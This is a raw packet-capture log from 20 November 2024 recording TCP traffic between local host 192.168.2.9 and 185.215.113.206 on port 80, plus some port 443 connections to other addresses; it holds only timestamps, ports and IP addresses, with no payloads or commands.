Nov 20, 2024 16:50:54.494543076 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.494581938 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.495354891 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.495407104 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.495417118 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.495438099 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.496272087 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.496340990 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.496550083 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.496598005 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.497339010 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.497350931 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.497376919 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.497391939 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.498112917 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.498169899 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.498311996 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.498523951 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.499104023 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.499165058 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.499228954 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.499344110 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.499972105 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.500039101 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.500176907 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.500216961 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.500885010 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.500937939 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.500952959 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.500988960 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.501773119 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.501866102 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.501919985 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.501955986 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.502690077 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.502739906 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.502867937 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.502911091 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.503643036 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.503690004 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.503946066 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.504167080 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.504580975 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.504671097 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.504941940 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.504997969 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.505481958 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.505614042 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.505896091 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.506391048 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.506454945 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.506545067 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.506589890 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.507347107 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.507400990 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.507620096 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.507675886 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.508227110 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.508277893 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.508430004 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.508476019 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.509138107 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.509273052 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.509310007 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.509350061 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.510183096 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.510231018 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.510446072 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.510534048 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.511091948 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.511161089 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.511377096 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.511436939 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.511948109 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.512079954 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.512094975 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.512134075 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.512872934 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.512892008 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.512919903 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.512936115 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.513752937 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.513797998 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.513914108 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.513967991 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.519066095 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.519084930 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.519097090 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.519109011 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.519118071 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.519123077 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.519134998 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.519139051 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.519150972 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.519179106 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.519195080 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.519197941 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.519244909 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.519934893 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.519980907 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.520276070 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.520320892 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.521089077 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.521136999 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.521549940 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.521733046 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.522384882 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.522397041 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.522433043 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.522449970 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.523139000 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.523188114 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.523652077 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.523701906 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.524127007 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.524219990 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.524298906 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.524367094 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.524951935 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.525000095 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.525712967 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.525760889 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.526184082 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.526238918 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.526349068 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.526386976 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.526839018 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.526890039 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.526962996 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.527009964 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.527720928 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.527786016 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.527864933 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.527909994 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.528659105 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.528704882 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.528805971 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.528860092 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.529444933 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.529485941 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.529767990 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.529818058 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.530591965 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.530606031 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.530678988 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.531363964 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.531562090 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.531877041 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.531927109 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.532530069 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.532601118 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.532845974 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.532896042 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.533279896 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.533328056 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.667268991 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:54.667658091 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:54.667685986 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:54.668776035 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:54.668838024 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:54.669297934 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:54.669373989 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:54.669461966 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:54.675103903 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.675169945 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.675174952 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.675205946 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.675535917 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.675591946 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.675654888 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.675731897 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.676476955 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.676547050 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.676846027 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.676897049 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.677400112 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.677438974 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.677615881 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.677658081 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.678308964 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.678354979 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.679212093 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.679260015 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.679359913 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.679373980 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.679426908 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.679507017 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.680135012 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.680176973 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.680396080 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.680443048 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.681298018 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.681354046 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.681380033 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.681416988 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.681998014 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.682090044 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.682101965 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.682399988 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.682872057 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.682915926 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.683418989 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.683459044 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.683804035 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.683901072 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.683998108 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.684040070 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.684808016 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.684858084 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.685009003 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.685081005 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.685679913 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.685729027 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.686034918 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.686078072 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.686568022 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.686606884 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.686738014 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.686778069 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.687482119 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.687527895 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.687613010 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.687669992 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.688427925 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.688479900 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.688613892 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.688658953 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.689441919 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.689518929 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.689775944 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.689912081 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.690346003 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.690392017 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.690632105 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.690723896 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.691148996 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.691436052 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.691489935 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.692110062 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.692163944 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.692219019 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.692260027 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.693150997 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.693212032 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.693253994 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.693298101 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.693970919 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.694022894 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.694082022 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.694149971 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.694932938 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.695015907 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.695470095 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.695516109 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.695770025 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.695830107 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.696228981 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.696300983 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.696672916 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.696715117 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.697103977 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.697154045 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.697654009 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.697734118 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.697755098 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.697797060 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.698559046 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.698669910 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.698761940 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.698806047 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.699518919 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.699574947 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.699582100 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.699618101 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.700350046 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.700447083 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.700479031 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.700493097 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.701497078 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.701545000 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.701664925 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.701703072 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.702258110 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.702332020 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.702531099 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.702575922 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.703129053 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.703196049 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.703332901 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.703459024 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.704062939 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.704118967 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.713694096 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:54.713709116 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:54.750957012 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:54.760962009 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:54.798355103 CET	443	49791	20.231.128.67	192.168.2.9
Nov 20, 2024 16:50:54.798899889 CET	49791	443	192.168.2.9	20.231.128.67
Nov 20, 2024 16:50:54.798923969 CET	443	49791	20.231.128.67	192.168.2.9
Nov 20, 2024 16:50:54.799637079 CET	49791	443	192.168.2.9	20.231.128.67
Nov 20, 2024 16:50:54.799645901 CET	443	49791	20.231.128.67	192.168.2.9
Nov 20, 2024 16:50:54.799701929 CET	49791	443	192.168.2.9	20.231.128.67
Nov 20, 2024 16:50:54.799711943 CET	443	49791	20.231.128.67	192.168.2.9
Nov 20, 2024 16:50:54.851596117 CET	443	49794	20.231.128.67	192.168.2.9
Nov 20, 2024 16:50:54.852152109 CET	49794	443	192.168.2.9	20.231.128.67
Nov 20, 2024 16:50:54.852188110 CET	443	49794	20.231.128.67	192.168.2.9
Nov 20, 2024 16:50:54.853199005 CET	49794	443	192.168.2.9	20.231.128.67
Nov 20, 2024 16:50:54.853199005 CET	49794	443	192.168.2.9	20.231.128.67
Nov 20, 2024 16:50:54.853209019 CET	443	49794	20.231.128.67	192.168.2.9
Nov 20, 2024 16:50:54.853224993 CET	443	49794	20.231.128.67	192.168.2.9
Nov 20, 2024 16:50:54.870501041 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:54.987910986 CET	443	49795	152.195.19.97	192.168.2.9
Nov 20, 2024 16:50:54.988312006 CET	49795	443	192.168.2.9	152.195.19.97
Nov 20, 2024 16:50:54.988333941 CET	443	49795	152.195.19.97	192.168.2.9
Nov 20, 2024 16:50:54.989417076 CET	443	49795	152.195.19.97	192.168.2.9
Nov 20, 2024 16:50:54.989483118 CET	49795	443	192.168.2.9	152.195.19.97
Nov 20, 2024 16:50:54.990931034 CET	49795	443	192.168.2.9	152.195.19.97
Nov 20, 2024 16:50:54.991029978 CET	443	49795	152.195.19.97	192.168.2.9
Nov 20, 2024 16:50:54.991185904 CET	49795	443	192.168.2.9	152.195.19.97
Nov 20, 2024 16:50:54.991199970 CET	443	49795	152.195.19.97	192.168.2.9
Nov 20, 2024 16:50:55.042727947 CET	49795	443	192.168.2.9	152.195.19.97
Nov 20, 2024 16:50:55.183320999 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.183355093 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.183362961 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.183427095 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.183444977 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:55.183448076 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.183459997 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.183475971 CET	443	49788	13.107.246.63	192.168.2.9
Nov 20, 2024 16:50:55.183516979 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:55.183540106 CET	49788	443	192.168.2.9	13.107.246.63
Nov 20, 2024 16:50:55.195363998 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.195436954 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.195511103 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.195559978 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.195597887 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.195777893 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:55.195796967 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.195822001 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:55.196566105 CET	80	49752	185.215.113.206	192.168.2.9
